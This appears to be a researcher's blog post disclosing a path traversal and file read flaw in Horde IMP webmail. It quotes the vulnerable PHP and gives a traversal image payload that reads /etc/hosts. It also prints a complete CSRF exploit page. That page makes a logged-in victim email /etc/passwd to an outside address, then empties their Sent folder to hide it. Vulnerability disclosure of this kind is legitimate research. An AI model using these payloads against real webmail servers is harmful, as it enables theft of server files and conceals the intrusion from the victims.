my main site is @ evan.lat. pgp for sensitive stuff: here


CVE-2026-58451

just something minor for now.

Summary: Horde Groupware’s IMP Webmail solution contains a path traversal/local file inclusion vulnerability which could be exploited to escalate privileges or bypass authentication (through CSRF if unauthenticated).

https://nvd.nist.gov/vuln/detail/CVE-2026-58451

wtf is horde

if youve been on an interesting corner of the internet youve probably heard of horde groupware. it is offered in certain old cpanel managed hosting plans, some orgs use it because of how deeply embedded it is (with the exception of hcl domino, roundcube, zimbra and smartermail) in their infra. basically its a full fledged enterprise email+calendar+etc collaboration platform between employees. a good while ago horde was considered widely used; nowadays stuff like nextcloud groupware/zimbra have pretty much obliterated hordes share lol. still its used in a lot of old companies:

vuln

i found the vuln mostly while trying to hunt for a sep. vuln in a certain other company’s platform (i plan to release this soon aswell).

anyhow, initially trying to see if i can find an easy win i searched for preg_replace with /e’s, popen, etc. which didnt yield a lot of immediate results with the exception of a few interesting results; and file_get_contents. going through them i can’t really control most of them with the exception of this:

 } elseif (strcasecmp($node->tagName, 'IMG') === 0) {
                /* Check for smileys. They live in the JS directory, under
                 * the base ckeditor directory, so search for that and replace
                 * with the filesystem information if found (Request
                 * #13051). Need to ignore other image links that may have
                 * been explicitly added by the user. */
                $js_path = strval(Horde::url($registry->get('jsuri', 'horde'), true));
                if (stripos($src, $js_path . '/ckeditor') === 0) {
                    $file = str_replace(
                        $js_path,
                        $registry->get('jsfs', 'horde'),
                        $src
                    );

                    if (is_readable($file)) {
                        $data_part = new Horde_Mime_Part();
                        $data_part->setContents(file_get_contents($file));
                        $data_part->setName(basename($file));

                        try {
                            $this->addRelatedAttachment(
                                $this->addAttachmentFromPart($data_part),
                                $node,
                                'src'
                            );
                        } catch (IMP_Compose_Exception $e) {
                            // Keep existing data on error.
                        }
                    }
                }

so the bugs pretty obv here. $data_part->setContents(file_get_contents($file)); embeds anything into the mime part of an email (and we control $file, so we can read files), and to get to this part we need is_readable to pass - which is trivial, and stripos($src, $js_path . '/ckeditor') === 0, which is also easy. so the full exploit is this:

<img src="https://webmail.bootytingle.com/js/ckeditor/../../../../../../etc/hosts">

put it in an email in horde imp and send it to an inbox you control, download the eml and you can read files.

now obv this is an authenticated lfi; which isnt really good. however, since its horde groupware and its arguably kinda ancient (e.g. it was made before i was born), we could turn this into a csrf xp:

<!DOCTYPE html>
<html>

<body>
    <h1>yo</h1>
    <script>
        var p1 = new FormData();
        p1.append('to', 'john@facepalm.移动');
        // land in spam 
        p1.append('subject', 'Your exclusive welcome bonus has arrived');
        p1.append('html', '1');
        p1.append('message',
            '<html><body>b()b t!@#!@$%<img src="http://targ/horde/js/ckeditor/../../../../etc/passwd"></body></html>');

        p1.append('identity', '0');
        p1.append('priority', 'normal');
        p1.append('request_read_receipt', '0');
        p1.append('save_sent_mail', '1');
        fetch('http://targ/horde/services/ajax.php/imp/sendMessage', {
                method: 'POST',
                body: p1,
                credentials: 'include',
                mode: 'no-cors'
            })
            .then(() => {
                console.log("* bye");
                setTimeout(() => {
                    var p2 = new FormData();
                    p2.append('mbox', 'U0VOVA'); // b64 SENT
                    // delete
                    fetch('http://targ/horde/services/ajax.php/imp/emptyMailbox', {
                        method: 'POST',
                        body: p2,
                        credentials: 'include',
                        mode: 'no-cors'
                    });
                }, 2000);
            });
    </script>
</body>

</html>

thats the xp

is this chainable easily

yes